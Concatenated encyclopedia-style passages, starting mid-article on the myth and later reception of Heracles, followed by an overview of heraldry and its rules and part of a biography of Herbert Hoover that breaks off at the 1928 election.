          Several years later, rumor tells Deianeira that she has a rival for the love of Heracles. Deianeira, remembering Nessus' words, gives Heracles the blood-stained shirt. Lichas, the herald, delivers the shirt to Heracles. However, it is still covered in the Hydra's blood from Heracles' arrows, and this poisons him, tearing his skin and exposing his bones. Before he dies, Heracles throws Lichas into the sea, thinking he was the one who poisoned him (according to several versions, Lichas turns to stone, becoming a rock standing in the sea, named for him). Heracles then uproots several trees and builds a funeral pyre, which Poeas, father of Philoctetes, lights. As his body burns, only his immortal side is left, and Zeus apotheosises him, raising him to Olympus as he dies.


          No one but Heracles' friend Philoctetes (in some versions: Poeas) would light his funeral pyre (in an alternate versions it is Iolaus who lights the pyre). For this action, Philoctetes (or Poeas) received Heracles' bow and arrows, which were later needed by the Greeks to defeat Troy in the Trojan War. Philoctetes confronted Paris and shot a poisoned arrow at him. The Hydra poison would subsequently lead to the death of Paris. The Trojan War, however, would continue until the Trojan Horse was used to defeat Troy.
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          Heracles in Rome


          In Rome, Heracles was honored as Hercules, and had a number of distinctively Roman myths and practices associated with him under that name.


          


          Reception history


          Via the Greco-Buddhist culture, Heraclean symbolism was transmitted to the far east. An example remains to this day in the Nio guardian deities in front of Japanese Buddhist temples. Herodotus connected Heracles both to Phoenician god Melqart and to the Egyptian god Shu. Temples dedicated to Heracles abounded all along the Mediterranean Sea coastal countries. For example the temple of Heracles Monoikos (i.e. the lone dweller), built far from any nearby town upon a promontory in what is now the Cote d'Azur, gave its name to the area's more recent name, Monaco.


          The gateway to the Mediterranean Sea from the Atlantic ocean, where the southernmost tip of Spain and the northernmost of Morocco face each other, is, classically speaking, referred to as the Pillars of Hercules/Heracles, owing to the story that he set up two massive spires of stone to stabilise the area and ensure the safety of ships sailing between the two landmasses.


          Organisations named after Heracles include the Greek football team Iraklis F.C..


          Heracles was canonized by Aleister Crowley as a saint in Ecclesia Gnostica Catholica.


          Heracles appeared as an enemy of the Amazons in the pages of Wonder Woman. He would later reconcile with them, though. There is also a Marvel Comics superhero named Hercules, that is a member of the superhero team The Avengers. He claims to be the god of strength himself, descended from Olympus.


          Hercules has appeared in several movies, such as a Disney animated movie that was loosely based on his myths, and the 1963 cult classic Jason and the Argonauts, where he appeared as a member of crew of the Argo, searching for the golden fleece. In television, Hercules is the mentor and ancestor of Herry Hercules from Class of the Titans.


          Hercules has also appeared in a TV show in Toon Disney in India.


          


          Spoken word myths


          
            	Heracles and Hylas, read by Timothy Carter

          


          Bibliography of reconstruction: Homer, Odyssey, 12.072 (7th c. BC); Theocritus, Idylls, 13 (350310 BC); Callimachus, Aetia (Causes), 24. Thiodamas the Dryopian, Fragments, 160. Hymn to Artemis (310250? BC); Apollonios Rhodios, Argonautika, I. 1175 - 1280 (c. 250 BC); Apollodorus, Library and Epitome 1.9.19, 2.7.7 (140 BC); Sextus Propertius, Elegies, i.20.17ff (5015 BC); Ovid, Ibis, 488 (AD 8 18); Gaius Valerius Flaccus, Argonautica, I.110, III.535, 560, IV.1-57 (1st century); Hyginus, Fables, 14. Argonauts Assembled (1st century); Philostratus the Elder, Images, ii.24 Thiodamas (170245); First Vatican Mythographer, 49. Hercules et Hylas
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          Heraldry in its most general sense encompasses all matters relating to the duties and responsibilities of officers of arms. To most, though, heraldry is the practice of designing, displaying, describing, and recording coats of arms and badges. Historically, it has been variously described as "the shorthand of history" and "the floral border in the garden of history." The origins of heraldry lie in the need to distinguish participants in combat when their faces were hidden by iron and steel helmets. Eventually a system of rules developed into the modern form of heraldry.


          The system of blazoning arms that is used today was developed by the officers of arms since the dawn of the art. This includes a description of the escutcheon (shield), the crest, and, if present, supporters, mottoes, and other insignia. An understanding of these rules is one of the keys to sound practice of heraldry. The rules do differ from country to country, but there are some aspects that carry over in each jurisdiction.


          Though heraldry is nearly 900 years old, it is still very much in use. Many cities and towns in Europe and around the world still make use of arms. Personal heraldry, both legally protected and lawfully assumed, has continued to be used around the world. Heraldic societies strive to promote education and understanding about the subject.


          


          Origins and history
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          As early as predynastic Egypt, an emblem known as a serekh was used to indicate the extent of influence of a particular regime, sometimes carved on ivory labels attached to trade goods, but also used to identify military allegiances and in a variety of other ways, even leading to the development of the earliest hieroglyphs. This practice seems to have grown out of the former use of animal mascots literally affixed to staves or standards, as depicted on the earliest cosmetic palettes of the period. Some of the oldest serekhs consist of a striped or cross-hatched box, representing a palace or city, with a crane, scorpion, or other animal drawn standing on top. Before long, the Horus-falcon became the norm as the animal on top, with the individual Pharaoh's symbol usually appearing in the box beneath the falcon, and above the stripes representing the palace.
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          Ancient warriors often decorated their shields with patterns and mythological motifs. These symbols could be used to identify the warriors bearing them when their faces were obscured by helmets. Army units of the Roman Empire were identified by the distinctive markings on their shields, although these were not heraldic in the medieval and modern sense, as they were associated with units, not individuals or families.
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          At the time of the Norman conquest of England, modern heraldry had not yet been developed. The knights in the Bayeux Tapestry carry shields, but there appears to have been no system of hereditary coats of arms. The beginnings of modern heraldic structure were in place, but would not become standard until the middle of the 12th century. By this time, coats of arms were being inherited by the children of armigers (persons entitled to use a coat of arms) across Europe. Between 1135 and 1155, seals show the general adoption of heraldic devices in England, France, Germany, Spain, and Italy. In Britain the practice of using marks of cadency arose to distinguish one son from another, and was institutionalized and standardized by John Writhe in the 15th century.
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          In the late Middle Ages and the Renaissance, heraldry became a highly developed discipline, regulated by professional officers of arms. As its use in jousting became obsolete, coats of arms remained popular for visually identifying a person in other waysimpressed in sealing wax on documents, carved on family tombs, and flown as a banner on country homes. The first work of heraldic jurisprudence, De Insigniis et Armiis, was written in the 1350s by Bartolus de Saxoferrato, a professor of law at the University of Padua.


          From the beginning of heraldry, coats of arms have been executed in a wide variety of media, including on paper, painted wood, embroidery, enamel, stonework and stained glass. For the purpose of quick identification in all of these, heraldry distinguishes only seven basic colors and makes no fine distinctions in the precise size or placement of charges on the field. Coats of arms and their accessories are described in a concise jargon called blazon. This technical description of a coat of arms is the standard that must be adhered to no matter what artistic interpretations may be made in a particular depiction of the arms.


          The idea that each element of a coat of arms has some specific meaning is unfounded. Though the original armiger may have placed particular meaning on a charge, these meanings are not necessarily retained from generation to generation. Unless the arms incorporate an obvious pun on the bearer's name, it is difficult to find meaning in them.


          Changes in military technology and tactics made plate armour obsolete and heraldry became detached from its original function. This brought about the development of "paper heraldry" that only existed in paintings. Designs and shields became more elaborate at the expense of clarity. The 20th century's taste for stark iconic emblems made the simple styles of early heraldry fashionable again.


          


          The rules of heraldry


          


          Shield and lozenge


          The focus of modern heraldry is the armorial achievement, or the coat of arms, the central element of which is the escutcheon. In general, the shape of the shield employed in a coat of arms is irrelevant, because the fashion for the shield-shapes employed in heraldic art has evolved through the centuries, of course, there are occasions when a blazon specifies a particular shape of shield. These specifications mostly occur in non-European contexts, such as the coat of arms of Nunavut and the former Republic of Bophuthatswana, with North Dakota providing an even more unusual example, while the State of Connecticut specifies a "rococo" shield. mostly in a non-European context, but not completely, as the Scottish Public Register records an escutcheon of oval form for the Lanarkshire Master Plumbers' and Domestic Engineers' (Employers') Association, and a shield of square form for the Anglo Leasing organisation.


          Traditionally, as women did not go to war, they did not bear a shield, instead, women's coats of arms were shown on a lozengea rhombus standing on one of its acute corners. This continues true in much of the world, though some heraldic authorities, such as Scotland's, with its ovals for women's arms, make exceptions. In Canada, the restriction against women bearing arms on a shield was eliminated. Non-combatant clergy also have used the lozenge and the cartouche  an oval  for their display.


          


          Tinctures
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          Tinctures are the colors used in heraldry, though a number of patterns called " furs" and the depiction of charges in their natural colors or "proper" are also regarded as tinctures, the latter distinct from any colour such a depiction might approximate. Since heraldry is essentially a system of identification, the most important convention of heraldry is the rule of tincture. To provide for contrast and visibility, metals (generally lighter tinctures) must never be placed on metals, and colors (generally darker tinctures) must never be placed on colors. Where a charge overlays a partition of the field, the rule does not apply. There are other exceptions - the most famous being the gold crosses on white chosen as the arms of Godfrey of Bouillon when he was made King of Jerusalem.


          The names used in English blazon for the colors and metals come mainly from French and include Or (gold), Argent (white), Azure (blue), Gules (red), Sable (black), Vert (green), and Purpure (purple). A number of other colors are occasionally found, typically for special purposes.


          Certain patterns called "furs" can appear in a coat of arms, though they are (rather arbitrarily) defined as tinctures, not patterns. The two common furs are ermine and vair. Ermine represents the winter coat of the stoat, which is white with a black tail. Vair represents a kind of squirrel with a blue-gray back and white belly. Sewn together, it forms a pattern of alternating blue and white shapes.


          Heraldic charges can be displayed in their natural colors. Many natural items such as plants and animals are described as proper in this case. Proper charges are very frequent as crests and supporters. Overuse of the tincture "proper" is viewed as decadent or bad practice.


          


          Divisions of the field
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          The field of a shield in heraldry can be divided into more than one tincture, as can the various heraldic charges. Many coats of arms consist simply of a division of the field into two contrasting tinctures. Since these are considered divisions of a shield the rule of tincture can be ignored. For example, a shield divided azure and gules would be perfectly acceptable. A line of partition may be straight or it may be varied. The variations of partition lines can be wavy, indented, embattled, engrailed, nebuly, or made into myriad other forms.


          


          Ordinaries


          In the early days of heraldry, very simple bold rectilinear shapes were painted on shields. These could be easily recognized at a long distance and could be easily remembered. They therefore served the main purpose of heraldryidentification. As more complicated shields came into use, these bold shapes were set apart in a separate class as the "honorable ordinaries." They act as charges and are always written first in blazon. Unless otherwise specified they extend to the edges of the field. Though ordinaries are not easily defined, they are generally described as including the cross, the fess, the pale, the bend, the chevron, the saltire, and the pall.


          There is a separate class of charges called sub-ordinaries which are of a geometrical shape subordinate to the ordinary. According to Friar, they are distinguished by their order in blazon. The sub-ordinaries include the inescutcheon, the orle, the tressure, the double tressure, the bordure, the chief, the canton, the label, and flaunches.


          Ordinaries may appear in parallel series, in which case blazons in English give them different names such as pallets, bars, bendlets, and chevronels. French blazon makes no such distinction between these diminutives and the ordinaries when borne singly. Unless otherwise specified an ordinary is drawn with straight lines, but each may be indented, embattled, wavy, engrailed, or otherwise have their lines varied.


          


          Charges


          A charge is any object or figure placed on a heraldic shield or on any other object of an armorial composition. Any object found in nature or technology may appear as a heraldic charge in armory. Charges can be animals, objects, or geometric shapes. Apart from the ordinaries, the most frequent charges are the crosswith its hundreds of variationsand the lion and eagle. Other common animals are stags, boars, martlets, and fish. Dragons, unicorns, griffins, and more exotic monsters appear as charges and as supporters.


          Animals are found in various stereotyped positions or attitudes. Quadrupeds can often be found rampantstanding on the left hind foot. Another frequent position is passant, or walking, like the lions of the coat of arms of England. Eagles are almost always shown with their wings spread, or displayed.


          In English heraldry the crescent, mullet, martlet, annulet, fleur-de-lis, and rose may be added to a shield to distinguish cadet branches of a family from the senior line. These cadency marks are usually shown smaller than normal charges, but it still does not follow that a shield containing such a charge belongs to a cadet branch. All of these charges occur frequently in basic undifferenced coats of arms.


          


          Marshalling
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          Marshalling is the art of correctly arranging armorial bearings. Two or more coats of arms are often combined in one shield to express inheritance, claims to property, or the occupation of an office. Marshalling can be done in a number of ways, but the principal mode is impalement, which replaced the earlier dimidiation which simply halves the shields of both and sticks them together. Impalement involves using one shield with the arms of two families or corporations on either half. Another method is called quartering, in which the shield is divided into quadrants. This practice originated in Spain after the 13th century. One might also place a small inescutcheon of a coat of arms on the main shield.


          When more than four coats are to be marshaled, the principle of quartering may be extended to two rows of three (quarterly of six) and even further. A few lineages have accumulated hundreds of quarters, though such a number is usually displayed only in documentary contexts. Some traditions, like the Scottish one, have a strong resistance to allowing more than four quarters, and use instead grand quartering and counter quartering (quarterly quarterly).


          


          Helm and crest


          In English the word "crest" is commonly used to refer to a coat of armsan entire heraldic achievement. The technical use of the heraldic term crest refers to just one component of a complete achievement. The crest rests on top of a helmet which itself rests on the most important part of the achievement: the shield.


          The modern crest has evolved from the three-dimensional figure placed on the top of the mounted knights' helms as a further means of identification. In most heraldic traditions a woman does not display a crest, though this tradition is being relaxed in some heraldic jurisdictions, and the stall plate of Lady Marion Fraser in the Thistle Chapel in St Giles, Edinburgh, shows her coat on a lozenge but with helmet, crest and motto.
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          The crest is usually found on a wreath of twisted cloth and sometimes within a coronet. Crest-coronets are generally simpler than coronets of rank, but several specialized forms exist; for example, in Canada, descendants of the United Empire Loyalists are entitled to use a Loyalist military coronet (for descendants of members of Loyalist regiments) or Loyalist civil coronet (for others).


          When the helm and crest are shown, they are usually accompanied by a mantling. This was originally a cloth worn over the back of the helmet as partial protection against heating by sunlight. Today it takes the form of a stylized cloak hanging from the helmet. Typically in British heraldry, the outer surface of the mantling is of the principal colour in the shield and the inner surface is of the principal metal, though peers in the United Kingdom use standard colourings regardless of rank or what the colourings of their arms. The mantling is sometimes conventionally depicted with a ragged edge, as if damaged in combat, though the edges of most are simply decorated at the emblazoner's discretion.


          Clergy often refrain from displaying a helm or crest in their heraldic achievements. Members of the clergy may display appropriate head wear. This often takes the form of a small crowned, wide brimmed hat, sometimes, outwith heraldry, called a galero with the colors and tassels denoting rank; or, in the case of Papal arms until the inauguration of Pope Benedict XVI in 2005, an elaborate triple crown known as a tiara. Benedict broke with tradition to substitute a mitre in his arms. Orthodox and Presbyterian clergy do sometimes adopt other forms of head gear to ensign their shields. In the Anglican tradition, clergy members may pass crests on to their offspring, but rarely display them on their own shields.


          


          Mottoes


          An armorial motto is a phrase or collection of words intended to describe the motivation or intention of the armigerous person or corporation. This can form a pun on the family name as in Thomas Nevile's motto "Ne vile velis." Mottoes are generally changed at will and do not make up an integral part of the armorial achievement. Mottoes can typically be found on a scroll under the shield. In Scottish heraldry where the motto is granted as part of the blazon, it is usually shown on a scroll above the crest, and may not be changed at will. A motto may be in any language.


          


          Supporters and other insignia


          
            [image: The coat of arms of Ukraine uses a lion and a Cossack as supporters.]

            
              The coat of arms of Ukraine uses a lion and a Cossack as supporters.
            

          


          Supporters are human or animal figures or, very rarely, inanimate objects, usually placed on either side of a coat of arms as though supporting it. In many traditions, these have acquired strict guidelines for use by certain social classes. On the European continent, there are often fewer restrictions on the use of supporters. In the United Kingdom only peers of the realm, a few baronets, senior members of orders of knighthood, and some corporate bodies are granted supporters. Often these can have local significance or a historical link to the armiger.


          If the armiger has the title of baron, hereditary knight, or higher, he or she may display a coronet of rank above the shield. In the United Kingdom this is shown between the shield and helmet, though it is often above the crest in Continental heraldry.


          Another addition that can be made to a coat of arms is the insignia of a baronet or of an order of knighthood. This is usually represented by a collar or similar band surrounding the shield. When the arms of a knight and his wife are shown in one achievement, the insignia of knighthood surround the husband's arms only, and the wife's arms are customarily surrounded by a meaningless ornamental garland of leaves for visual balance.


          


          National styles
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          The emergence of heraldry occurred across western Europe almost simultaneously in the various countries. Originally, heraldic style was very similar from country to country. Over time, there developed distinct differences between the heraldic traditions of different countries. The four broad heraldic styles are German-Nordic, Gallo-British, Latin, and Eastern. In addition it can be argued that later national heraldic traditions, such as South African and Canadian have emerged in the twentieth century. In general there are characteristics shared by each of the four main groups.


          


          German-Nordic heraldry


          Coats of arms in Germany, the Scandinavian countries, Estonia, Latvia, Czech lands and northern Switzerland generally change very little over time. Marks of difference are very rare in this tradition as are heraldic furs. One of the most striking characteristics of German-Nordic heraldry is the treatment of the crest. Often, the same design is repeated in the shield and the crest. The use of multiple crests is also common. The crest cannot be used separately as in British heraldry, but can sometimes serve as a mark of difference between different branches of a family. Torse is optional. Heraldic courtoisie is observed.
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          Dutch heraldry


          Coats of arms in the Netherlands were not controlled by an official heraldic system like the two in the United Kingdom, nor were they used solely by noble families. Any person could develop and use a coat of arms if they wished to do so. As a result, many merchant families had coats of arms even though they were not members of the nobility. These are sometimes referred to as burgher arms, and it is thought that most arms of this type were adopted while the Netherlands was a republic (1581-1806).


          


          Gallo-British heraldry


          The use of cadency marks to difference arms within the same family and the use of semy fields are distinctive features of Gallo-British heraldry. It is common to see heraldic furs used. In United Kingdom, the style is notably still controlled by royal officers of arms. French heraldry experienced a period of strict rules of construction under the Emperor Napoleon. English and Scots heraldries make greater use of supporters than other European countries.


          


          Latin heraldry


          The heraldry of southern France, Portugal, Spain, and Italy is characterized by a lack of crests, and uniquely-shaped shields. Portuguese and Spanish heraldry occasionally introduce words to the shield of arms, a practice disallowed in British heraldry. Latin heraldry is known for extensive use of quartering, because of armorial inheritance via the male and the female lines. Moreover, Italian heraldry is dominated by the Roman Catholic Church, featuring many shields and achievements, most bearing some reference to the Church.


          


          Central and Eastern European heraldry


          Eastern European heraldry is in the traditions developed in Serbia, Croatia, Hungary, Lithuania, Poland, Ukraine, and Russia. Eastern coats of arms are characterized by a pronounced, territorial, clan system  often, entire villages or military groups were granted the same coat of arms irrespective of family relationships. In Poland, nearly six hundred unrelated families are known to bear the same Jastrzębiec coat of arms. Marks of cadency are almost unknown, and shields are generally very simple, with only one charge. Many heraldic shields derive from ancient house marks. At the least, fifteen per cent of all Hungarian personal arms bear a decapitated Turk's head, referring to their wars against the Ottoman Empire.


          


          Modern heraldry


          Heraldry flourishes in the modern world; institutions, companies, and private persons continue using coats of arms as their pictorial identification. In the United Kingdom and Ireland, the English Kings of Arms, Scotland's Lord Lyon, and the Chief Herald of Ireland continue making grants of arms. There are heraldic authorities in Canada, South Africa, Spain, and Sweden that grant or register coats of arms.


          Heraldic societies abound in Africa, Asia, Australasia, the Americas, and Europe. Heraldry aficionados participate in the Society for Creative Anachronism, medieval revivals, micronationalism, et cetera. People see heraldry as a part of their national and personal heritages, and as a manifestation of civic and national pride. Today, heraldry is not a worldly expression of aristocracy, merely a form of identification.


          Military heraldry continues developing, incorporating blazons unknown in the medieval world. Nations and their subdivisions  provinces, states, counties, cities, etc.  continue building upon the traditions of civic heraldry. The Roman Catholic Church, the Church of England, and other Churches maintain the tradition of ecclesiastical heraldry for their high-rank prelates, holy orders, universities, and schools.
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          Herbert Clark Hoover ( August 10, 1874  October 20, 1964), the thirty-first President of the United States (19291933), was a mining engineer and author. As the United States Secretary of Commerce in the 1920s under Presidents Warren Harding and Calvin Coolidge, he promoted government intervention under the rubric "economic modernization". In the presidential election of 1928 Hoover easily won the Republican nomination. The nation was prosperous and optimistic, leading to a landslide for Hoover over the Democrat Al Smith, whom many voters distrusted on account of his Roman Catholicism. Hoover deeply believed in the Efficiency Movement (a major component of the Progressive Era), arguing that a technical solution existed for every social and economic problem. That position was challenged by the Great Depression, which began in 1929, the first year of his presidency. He tried to combat the Depression with volunteer efforts and government action, none of which produced economic recovery during his term. The consensus among historians is that Hoover's defeat in the 1932 election was caused primarily by failure to end the downward spiral into deep Depression, compounded by popular opposition to prohibition. Other electoral liabilities were Hoover's lack of charisma in relating to voters, and his poor skills in working with politicians.


          


          Family background and early life


          Hoover was born in West Branch, Iowa. He was the first President to be born west of the Mississippi River. His father, Jesse, was a blacksmith and farm implement store owner, of German (Pfautz, Wehmeyer) and German-Swiss (Huber, Burkhart) descent. His mother, Hulda Minthorn Hoover, was of English and Irish descent. Both were Quakers. He was named after Herbert Robert Ewing, a close friend of his father. His father died in 1880 and his mother in 1884, leaving him an orphan at the age of 10. For a short time after his parents' death he lived in Kingsley, Iowa, and in 1885, he went to live with his uncle John Minthorn in Newberg, Oregon. There he attended Friends Pacific Academy (now George Fox University) and worked as office boy in his uncle's real estate office in Salem. Though he did not attend high school, the young Hoover attended night school and learned bookkeeping, typing, and math.


          Hoover entered Leland Stanford Junior University in 1891, the first year of operation of the California institution, and, like all its first students, paid no tuition. He would claim to be the first student ever at Stanford, by virtue of having been the first person in the first class to sleep in the dormitory. While at the school he would be the student manager of both the baseball and football teams, and was a part of the inaugural Big Game versus rival California (Stanford won). Hoover graduated in 1895 with a degree in geology.


          


          Mining engineer
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          Herbert Hoover served as an active mining engineer and consultant nearly twenty years. He began his career with the United States Geological Survey (USGS) in the Sierra Nevada range of California.


          Hoover went to Australia as an employee of a London-based mine operator named Bewick, Moreing and Company in 1897. He served as a geologist/mining engineer, leading a major program of expansion for the Sons of Gwalia gold mine at Gwalia, Western Australia. Hoover worked at gold mines in Big Bell, Cue, Leonora, Menzies and Coolgardie.


          He married his Stanford sweetheart, Lou Henry in 1899 and they went to China, where Hoover worked for a private corporation as China's leading engineer. The Boxer Rebellion trapped the Hoovers in Tianjin in June 1900. For almost a month the settlement was under heavy fire. While his wife worked in the hospitals, Hoover directed the building of barricades, and once risked his life rescuing Chinese children.


          Hoover was made a partner in Bewick, Moreing & Co. in 1901, and assumed responsibility for various Australian operations. In AugustSeptember 1905, Hoover achieved a technological innovation: he visited the mines at Broken Hill, New South Wales, where there was considerable zinc in the Broken Hill lead-silver ore, which could not be recovered and was lost as tailings. Hoover devised a practical and profitable method to use the then-new froth flotation process to treat these tailings and recover the zinc. With William Baillieu and others, he founded the Zinc Corporation (later, following various mergers, a part of Rio Tinto). Hoover also became notable as a mine manager when, in Western Australia, he recruited Italian immigrants as underground mine workers. He described Italians as "fully 20 per cent superior" to other miners. Hoover was also determined to cut costs and undermine the growing strength of the Australian labor movement. To this end, he said, "the rivalry between [the Italians] and the other men [was] of no small benefit".


          He became an independent mining consultant in 1908, traveling worldwide until the outbreak of World War I in 1914. His lectures at Columbia and Stanford Universities were published as Principles of Mining in 1909, which became a standard textbook. Hoover and his wife published their English translation of the Renaissance mining classic De re metallica by Georgius Agricola in 1912; their translation is the most important scholarly version of the work, and provides the historical context of the work. It is still in print and published by Dover Publications.


          


          Humanitarian


          Hoover was bored with making money and when World War I started in August 1914, he helped return home 120,000 American tourists and businessmen from Europe. Hoover led five hundred volunteers to pass out food, clothing, steamship tickets and cash. "I did not realize it at the moment, but on August 3, 1914 my career was over forever. I was on the slippery road of public life." The difference between dictatorship and democracy, Hoover liked to say, was simple: dictators organize from the top down, democracies from the bottom up.
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          Belgium faced a food crisis in fall 1914 after being invaded by Germany. Hoover undertook an unprecedented relief effort as head of the Committee for Relief in Belgium. He worked with Emile Francqui, who led the Belgian National Relief and Food Committee. The CRB became, in effect, an independent republic of relief, with its own flag, navy, factories, mills and railroads. Voluntary donations and government grants supplied an $11-million-a-month budget.


          Hoover worked fourteen-hour workdays from London for the next two years administering the distribution of over two and half million foodstuffs to nine million war victims. In an early form of shuttle diplomacy, he crossed the North Sea forty times seeking to persuade the enemies in Berlin to allow food to reach the war's victims. He was an international hero. The Belgian city of Leuven named a prominent square after him. In honour of his two years of humanitarian work the Finns added the word hoover, meaning "to help," to their language.


          After the United States entered the war in April 1917, President Woodrow Wilson appointed Hoover head of the American Food Administration. Hoover believed; "food will win the war." He established set days encouraging people to avoid eating particular foods in order to save them for soldiers rations: meatless Mondays, wheatless Wednesdays, and "when in doubt, eat potatoes." These days helped conserve food for the war. He helped reduce consumption of foodstuffs needed overseas and avoided rationing at home (dubbed "Hooverizing" by government propagandists. Hoover himself continually - and with little success - gave orders that publicity should not mention him by name, but rather should focus entirely on the Food Administration itself).


          Hoover organized shipments of food after World War 1 for millions of starving people in Central Europeas a member of the Supreme Economic Council and head of the American Relief Administration. He employed a newly formed Quaker organization, the American Friends Service Committee to carry out much of the logistical work in Europe.


          Hoover provided food aid to the post war German people as well as famine-stricken Bolshevist Russia in 1921 in spite of the opposition of Henry Cabot Lodge and other Senate Republicans. When a critic inquired if he was not thus helping Bolshevism, Hoover retorted, "Twenty million people are starving. Whatever their politics, they shall be fed!" At war's end, the New York Times named Hoover one of the "Ten Most Important Living Americans".


          Hoover realized during this time that he was in a unique position to collect information about the Great War and its aftermath. Hoover confronted a world of political possibilities when he returned home in 1919. Democratic party bosses at one point looked on him as a potential candidate for the presidency. "There could not be a finer one," claimed a young and rising star from New York named Franklin D. Roosevelt.


          Hoover rejected the Democratic call confessing he could not run for a party whose only member in his boyhood home had been the town drunk. In 1919 he pledged $50,000 to Stanford University to support his Hoover War Collection and donated to the University the extensive files of the Commission for Relief in Belgium, the U.S. Food Administration, and the American Relief Administration. Scholars were sent to Europe to collect pamphlets, society publications, government documents, newspapers, posters, proclamations, and other ephemeral materials related to the war and the revolutions and political movements that had followed it. The collection was later renamed the Hoover War Library and is now known as the Hoover Institution.


          


          Secretary of Commerce
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          Some party leaders (including, Assistant Secretary of the Navy Franklin D. Roosevelt, and Woodrow Wilson privately preferred Hoover as his successor) touted Hoover as a possible Democratic Party presidential candidate in 1920. Hoover could foresee that 1920 would be a Republican year, and he had no desire to tie himself to a party that was destined for defeat, and thus could accomplish little (Hoover had been a registered Republican before the war, but was briefly willing to join the Democrats in 1920; he had already bolted the party once in 1912 to support Theodore Roosevelt's " Bull Moose" Progressive Party). Announcing himself as a Republican and available for the nomination, he placed his name on the ballot in the California state primary, where he came close to beating the popular Hiram Johnson. By failing to win in his home state, however, Hoover relegated himself to dark horse contender at the convention, and even when it deadlocked over several ballots between Illinois Governor Frank Lowden and Army General Leonard Wood, few delegates seriously considered turning to Hoover as their compromise choice. Although he had personal misgivings about the capability of the nominee, Warren G. Harding, Hoover publicly endorsed him, and even made a pair of speeches on Harding's behalf.


          President Harding in 1921 offered a reward for Hoover's support in the election the post of either Secretary of the Interior or Secretary of Commerce, ultimately choosing Commerce. Established just eight years earlier following the division of the earlier Department of Commerce and Labor, Commerce was considered a minor Cabinet post, a department with limited and somewhat vaguely defined responsibilities. But Hoover aimed to change that, envisioning the Commerce Department as the hub of the nation's growth and stability. He demanded from Harding, and received, authority to help coordinate economic affairs throughout the government. He created a great many sub-departments and committees, overseeing and regulating everything from manufacturing statistics, the census, and radio to air travel. In some instances, he "seized" control of responsibilities from other Cabinet departments when he deemed that they were not carrying out their responsibilities well enough. Hoover became one of the most visible men in the country, often overshadowing Presidents Harding and Calvin Coolidge. Washington wags were soon referring to Hoover as "The Secretary of Commerce...and Under-Secretary of Everything Else!"


          As secretary and as President, Hoover revolutionized the relations between business and government. Rejecting the adversarial stance of Roosevelt, Taft, and Wilson, he sought to make the Commerce Department a powerful service organization, empowered to forge cooperative voluntary partnerships between government and business. This philosophy is often called " associationalism."


          Many of Hoover's efforts as Commerce Secretary centered on the elimination of waste and the increase of efficiency in business and industry. This included such things as reducing labor losses from trade disputes and seasonal fluctuations, reducing industrial losses from accident and injury, and reducing the amount of crude oil spilled during extraction and shipping. One major achievement was to promote progressive ideals in the areas of standardization products and designs. He energetically promoted international trade by opening offices overseas that gave advice and practical help to businessmen. He was especially eager to promote Hollywood films overseas. [Hart 1998] His "Own Your Own Home" campaign was a collaboration with organizations working to promote ownership of single-family dwellings, including the Better Houses in America movement, the Architects' Small House Service Bureau, and the Home Modernizing Bureau. He worked with bankers and the savings and loan industry to promote the new long term home mortgage, which dramatically stimulated home construction.
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          Radio conferences


          Hoover's radio conferences played a key role in the early organization, development and regulation of radio broadcasting. Hoover played a key role in major projects for navigation, irrigation of dry lands, electrical power, and flood control. As the new air transport industry developed, Hoover held a conference on aviation to promote codes and regulations. He became president of the American Child Health Organization, and he raised private funds to promote health education in schools and communities.


          Although he continued to consider Harding ill-suited to be President, the two men nevertheless became friends, and Hoover was accompanying Harding on his final trip out West in 1923. It was Hoover who called for a specialist to tend to the ailing Chief Executive, and it was also Hoover who contacted the White House to inform them of the President's death. The Commerce Secretary headed the group of dignitaries accompanying Harding's body back to the capital.


          By the end of Hoover's service as Secretary, the newly important status of the Department of Commerce was reflected in the vast and modern headquarters that would be built for it in Washington D.C.


          


          Traffic conferences


          As Commerce secretary, Hoover also hosted two national conferences on street traffic, in 1924 and 1926 (a third convened in 1930, during Hoover's presidency). Collectively the meetings were called the National Conference on Street and Highway Safety. Hoover's chief objective was to address the growing casualty toll of traffic accidents, but the scope grew and soon embraced motor vehicle standards, rules of the road, and urban traffic control. He left the invited interest groups to negotiate agreements among themselves, which were then presented for adoption by states and localities. Because automotive trade associations were the best organized, many of the positions taken by the conferences reflected their interests. The conferences issued a model Uniform Vehicle Code for adoption by the states, and a Model Municipal Municipal Traffic Ordinance for adoption by cities. Both were widely influential, promoting greater uniformity between jurisdictions and tending to promote the automobile's priority in city streets.


          


          Mississippi flood


          The Great Mississippi River flood broke the banks and levees of the Mississippi River in early 1927. Although such a disaster did not fall under the duties of the Commerce Department, the governors of six states along the Mississippi specifically asked for Herbert Hoover in the emergency, so President Calvin Coolidge sent Hoover to mobilize state and local authorities, militia, army engineers, Coast Guard, and the American Red Cross. He set up health units, with a grant from the Rockefeller Foundation, to work in the flooded regions for a year. These workers stamped out malaria, pellagra, and typhoid fever from many areas. His work during the flood brought Herbert Hoover to the front page of newspapers almost everywhere, and he gained new accolades as a humanitarian. The great victory of his relief work, he stressed, was not that the government rushed in and provided all assistance. Rather, it was that much of the assistance available was provided instead by private citizens and organizations in response to Hoover's appeals. "I suppose I could have called in the Army to help," he said, "but why should I, when I only had to call upon Main Street."


          


          Presidential Election of 1928


          


          Republican Primaries


          When President Coolidge declined to run for a second full term of office in 1927, Herbert Hoover became the leading Republican candidate for the 1928 election, despite the fact Coolidge was lukewarm on Hoover (the President often derided his ambitious and popular Commerce Secretary as "Wonder Boy"). His only real challenger was Frank Lowden. Hoover received much favorable press coverage in the months leading up to the convention. Lowden's campaign manager complained the newspapers were full of "nothing but advertisements for Herbert Hoover and Fletcher's Castoria." Hoovers reputation, experience, and public popularity coalesced to give him the nomination on the first ballot, with Senator Charles Curtis named as his running mate.


          


          General Election


          He campaigned on the basis of efficiency and prosperity against Democratic candidate Alfred E. Smith. Smith was the target of anti-Catholicism from some Protestant communities, much to Hoover's advantage. Both Hoover and Smith positioned themselves as pro-business, and each promised to improve conditions for farmers, reform immigration laws, and maintain America's isolationist foreign policy. Where they differed was on the Volstead Act. Smith was a "wet" who called for its repeal, whereas Hoover gave public support for Prohibition, calling it an experiment "noble in purpose." What few voters knew, however, was Hoover was much more tentative in his support for Volstead in private, and for years after work at the Commerce Department would stop by the Belgian Embassy for a visit with friends. While there, as it was technically foreign soil, he was able to enjoy an alcoholic drink before heading for home. Hoover used to grumble all Prohibition successfully did was to force him to dispose of his celebrated wine cellar.


